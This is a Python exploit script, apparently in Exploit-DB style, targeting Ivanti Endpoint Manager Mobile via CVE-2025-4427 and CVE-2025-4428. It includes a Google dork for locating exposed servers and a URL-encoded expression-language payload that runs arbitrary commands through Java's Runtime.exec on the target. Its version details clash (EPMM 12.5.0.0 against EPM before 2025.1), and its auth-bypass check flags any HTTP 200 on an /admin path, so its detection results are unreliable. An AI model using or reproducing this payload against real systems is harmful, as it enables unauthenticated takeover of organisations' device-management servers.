#!/usr/bin/env python3 # Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass # Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager" # Date: 2025-01-21 # Exploit Author: [Your Name] (https://github.com/[your-username]) # Vendor Homepage: https://www.ivanti.com/ # Software Link: https://www.ivanti.com/products/endpoint-manager # Version: < 2025.1 # Tested on: Ubuntu 22.04 LTS, Python 3.10 # CVE: CVE-2025-4427, CVE-2025-4428 # Description: # Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities: # 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE # 2. CVE-2025-4428: Authentication bypass on administrative endpoints # The vulnerabilities can be chained to achieve unauthenticated remote code execution. # Requirements: # - Python 3.x # - requests >= 2.25.1 # - urllib3 # Usage: # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami" import requests import urllib3 import argparse from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class IvantiExploit: def __init__(self, target): self.target = target.rstrip('/') + '/' self.session = requests.Session() self.session.verify = False def detect_cve_2025_4427(self): """Quick detection for CVE-2025-4427""" # Simple math payload for detection payload = '%24%7b%32%2b%32%7d' # ${2+2} url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}" try: resp = self.session.get(url, timeout=10) if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text): return True, "CVE-2025-4427 VULNERABLE - Expression Language Injection" except: pass return False, "CVE-2025-4427 NOT VULNERABLE" def exploit_rce(self, command='id'): """Execute command via CVE-2025-4427""" # URL encode the command cmd_hex = command.encode().hex() cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2)) # RCE payload payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d' url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}" try: resp = self.session.get(url, timeout=15) if resp.status_code == 400 and 'Process[pid' in resp.text: return True, f"RCE SUCCESS: {resp.text[:200]}" except: pass return False, "RCE FAILED" def detect_cve_2025_4428(self): """Quick detection for CVE-2025-4428""" admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin'] for endpoint in admin_endpoints: try: url = urljoin(self.target, endpoint) resp = self.session.get(url, timeout=10) if resp.status_code == 200: return True, f"CVE-2025-4428 VULNERABLE - Auth bypass on {endpoint}" except: continue return False, "CVE-2025-4428 NOT VULNERABLE" def run_all_tests(self): """Run all detection tests""" print(f"[+] Testing target: {self.target}") # Test CVE-2025-4427 vuln_4427, msg_4427 = self.detect_cve_2025_4427() print(f"[{'!' if vuln_4427 else '-'}] {msg_4427}") # Test CVE-2025-4428 vuln_4428, msg_4428 = self.detect_cve_2025_4428() print(f"[{'!' if vuln_4428 else '-'}] {msg_4428}") # If 4427 is vulnerable, try RCE if vuln_4427: print("[+] Attempting RCE...") rce_success, rce_msg = self.exploit_rce('whoami') print(f"[{'!' if rce_success else '-'}] {rce_msg}") return vuln_4427 or vuln_4428 def main(): banner = """ --[[ .___ __ .__ _____________________ _____ _____ | |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \ | \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \ | |\ / / __ \| | \ | | | | \ | | / Y \/ Y \ |___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ / \/ \/ \/ \/ \/ --]] """ print(banner) parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target.com)') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') parser.add_argument('--exploit', action='store_true', help='Attempt exploitation') args = parser.parse_args() exploit = IvantiExploit(args.target) if args.exploit: print(f"[+] Exploiting with command: {args.command}") success, result = exploit.exploit_rce(args.command) print(f"[{'!' if success else '-'}] {result}") else: exploit.run_all_tests() if __name__ == "__main__": main()